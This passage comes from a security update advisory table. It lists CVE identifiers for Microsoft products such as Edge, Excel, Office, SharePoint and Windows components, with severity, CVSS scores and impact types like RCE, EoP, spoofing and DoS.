DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  